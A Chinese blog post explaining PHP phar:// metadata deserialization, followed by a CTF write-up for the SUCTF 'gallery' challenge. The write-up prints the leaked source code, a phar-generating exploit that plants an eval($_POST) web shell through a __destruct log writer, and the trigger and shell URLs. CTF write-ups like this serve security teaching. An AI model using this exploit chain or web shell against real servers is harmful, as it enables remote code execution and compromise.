N0rth3ty's Blog.

phpphar协议对象注入

字数统计: 1.8k阅读时长: 9 min
2018/11/14 Share

文章参考
https://www.freebuf.com/company-information/187071.html

phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。

该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

phar文件构成

  • a stub

可以理解为一个标志,格式为xxx<?php xxx;HALT_COMPILER();?>,前期内容不限,但必须以HALT_COMPILER();?>来结尾,否则phar扩展将无法识别其为phar文件。

  • a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都存放在这一部分中。这部分将会以序列化的形式存储用户自定义的meta-data。

  • the file contents

被压缩文件的内容。

  • a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,目前支持的两种签名格式是MD5和SHA1。

漏洞利用

漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。

meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。

利用php生成phar文件
要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

受影响函数列表
image

PHP识别phar文件是通过文件头的stub,即__HALT_COMPILER();?>,对前面的内容或者后缀名没有要求。可以通过添加任意文件头加上修改后缀名的方式将phar文件伪装成其他格式的文件。

exp

1
2
3
4
5
6
7
8
9
10
11
12
$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
#添加压缩文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');
#可以设置其它的文件头来伪造文件类型
$o=new test('test');
#实例化一个对象
$phar->setMetaData($o);
#存入头
$phar->stopBuffering();
#计算签名

Demo

写这篇文章其实就是做到了这道题目
suctf招新赛的gallery
上传点简单猜测,暂时没法绕过
swp源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
include('./PicManager.php');
$manager=new PicManager('/var/www/html/sandbox/'.md5($_SERVER['REMOTE_ADDR']));

if(isset($_GET['act'])){
switch($_GET['act']){
case 'upload':{
if($_SERVER['REQUEST_METHOD']=='POST'){
$manager->upload_pic();
}
break;
}
case 'get':{
print $manager->get_pic($_GET['pic']);
exit;
}
case 'clean':{
$manager->clean();
break;
}
default:{
break;
}

}
}
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf8" />
<title>GALLERY</title>
<link rel="stylesheet" type="text/css" href="demo.css" />
<link rel="stylesheet" href="jquery-ui.css" type="text/css" media="all" />
<link rel="stylesheet" type="text/css" href="fancybox/jquery.fancybox-1.2.6.css" />
<script
src="https://code.jquery.com/jquery-3.3.1.min.js"
integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
crossorigin="anonymous"></script>
<script
src="http://code.jquery.com/ui/1.12.0-rc.2/jquery-ui.min.js"
integrity="sha256-55Jz3pBCF8z9jBO1qQ7cIf0L+neuPTD1u7Ytzrp2dqo="
crossorigin="anonymous"></script>
<script type="text/javascript" src="fancybox/jquery.fancybox-1.2.6.pack.js"></script>
<script type="text/javascript" src="script.js"></script>
</head>
<body>
<div id="main">
<h1>Gallery</h1>
<h2>hello <?=$_SERVER['REMOTE_ADDR'];?></h2>
<div id="gallery">

<?php
$stage_width=600;//放大后的图片宽度
$stage_height=400;//放大后的图片高度
$allowed_types=array('jpg','jpeg','gif','png');
$file_parts=array();
$ext='';
$title='';
$i=0;
$i=1;
$pics=$manager->pics();
foreach ($pics as $file)
{
if($file=='.' || $file == '..') continue;
$file_parts = explode('.',$file);
$ext = strtolower(array_pop($file_parts));
// $title = implode('.',$file_parts);
// $title = htmlspecialchars($title);
if(in_array($ext,$allowed_types))
{
$left=rand(0,$stage_width);
$top=rand(0,400);
$rot = rand(-40,40);
if($top>$stage_height-130 && $left > $stage_width-230)
{
$top-=120+130;
$left-=230;
}
/* 输出各个图片: */
echo '
<div id="pic-'.($i++).'" class="pic" style="top:'.$top.'px;left:'.$left.'px;background:url(\'http://'.$_SERVER['HTTP_HOST'].':'.$_SERVER["SERVER_PORT"].'/?act=get&pic='.$file.'\') no-repeat 50% 50%; -moz-transform:rotate('.$rot.'deg); -webkit-transform:rotate('.$rot.'deg);">
<img src="http://'.$_SERVER['HTTP_HOST'].'/?act=get&pic='.$file.'" target="_blank"/>
</div>';
}
}
?>
<div class="drop-box">
</div>
</div>
<div class="clear"></div>
</div>
<div id="modal" title="上传图片">
<form action="index.php?act=upload" enctype="multipart/form-data" method="post">
<fieldset>
<!-- <label for="url">文件:</label>-->
<input type="file" name="file" id="url" onfocus="this.select()" />
<input type="submit" value="上传"/>
</fieldset>
</form>
</div>
</body>
</html>

可以看到实例化了一个PicManager对象,包含三个方法
get参数通过pic参数传参,尝试之后发现可以读源码
读取PicManager.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class PicManager{
private $current_dir;
private $whitelist=['.jpg','.png','.gif'];
private $logfile='request.log';
private $actions=[];

public function __construct($dir){
$this->current_dir=$dir;
if(!is_dir($dir))@mkdir($dir);
}

private function _log($message){
array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message);
}

public function pics(){
$this->_log('list pics');
$pics=[];
foreach(scandir($this->current_dir) as $item){
if(in_array(substr($item,-4),$this->whitelist))
array_push($pics,$this->current_dir."/".$item);
}
return $pics;
}
public function upload_pic(){
$this->_log('upload pic');
$file=$_FILES['file']['name'];
if(!in_array(substr($file,-4),$this->whitelist)){
$this->_log('unsafe deal:upload filename '.$file);
return;
}
$newname=md5($file).substr($file,-4);
move_uploaded_file($_FILES['file']['tmp_name'],$this->current_dir.'/'.$newname);
}
public function get_pic($picname){
$this->_log('get pic');
if(!file_exists($picname))
return '';
$fi=new finfo(FILEINFO_MIME_TYPE);
$mime=$fi->file($picname);
header('Content-Type:'.$mime);
return file_get_contents($picname);
}

public function clean(){
$this->_log('clean');
foreach(scandir($this->current_dir) as $file){
@unlink($this->current_dir."/".$file);
}
}
public function __destruct(){
$fp=fopen($this->current_dir.'/'.$this->logfile,"a");
foreach($this->actions as $act){
fwrite($fp,$act."\n");
}
fclose($fp);
}


}

//$pic=new PicManager('./');
//$pic->gen();

所以这里有一个反序列化的可控点,但是如何触发反序列化呢?
所以这里就是phar协议拓展了攻击面
利用phar协议对象注入来触发反序列化达到写shell的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php

class PicManager{
private $current_dir;
private $whitelist=['.jpg','.png','.gif'];
private $logfile='request.php';
private $actions=array('<?php eval($_POST["cmd"]);phpinfo();?>');

public function __construct($dir){
$this->current_dir=$dir;
if(!is_dir($dir))@mkdir($dir);
}

private function _log($message){
array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message);
}

public function pics(){
$this->_log('list pics');
$pics=[];
foreach(scandir($this->current_dir) as $item){
if(in_array(substr($item,-4),$this->whitelist))
array_push($pics,$this->current_dir."/".$item);
}
return $pics;
}
public function upload_pic(){
$this->_log('upload pic');
$file=$_FILES['file']['name'];
if(!in_array(substr($file,-4),$this->whitelist)){
$this->_log('unsafe deal:upload filename '.$file);
return;
}
$newname=md5($file).substr($file,-4);
move_uploaded_file($_FILES['file']['tmp_name'],$this->current_dir.'/'.$newname);
}
public function get_pic($picname){
$this->_log('get pic');
if(!file_exists($picname))
return '';
$fi=new finfo(FILEINFO_MIME_TYPE);
$mime=$fi->file($picname);
header('Content-Type:'.$mime);
return file_get_contents($picname);
}

public function clean(){
$this->_log('clean');
foreach(scandir($this->current_dir) as $file){
@unlink($this->current_dir."/".$file);
}
}
public function __destruct(){
$fp=fopen($this->current_dir.'/'.$this->logfile,"a");
foreach($this->actions as $act){
fwrite($fp,$act."\n");
}
fclose($fp);
}


}


$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new PicManager('/var/www/html/sandbox/4150952d11458a39692ea5d1e2756f1e');
$phar->setMetaData($o);
$phar->stopBuffering();

利用exp生成phar文件并上传,注意修改后缀为gif
image
上传成功,然后通过phar协议触发反序列化

1
http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/4150952d11458a39692ea5d1e2756f1e/f3035846cc279a1aff73b7c2c25367b9.gif

访问shell直接拿到flag
http://49.4.68.67:86/sandbox/4150952d11458a39692ea5d1e2756f1e/request.php

CATALOG
  1. 1. phar文件构成
  2. 2. 漏洞利用
  3. 3. Demo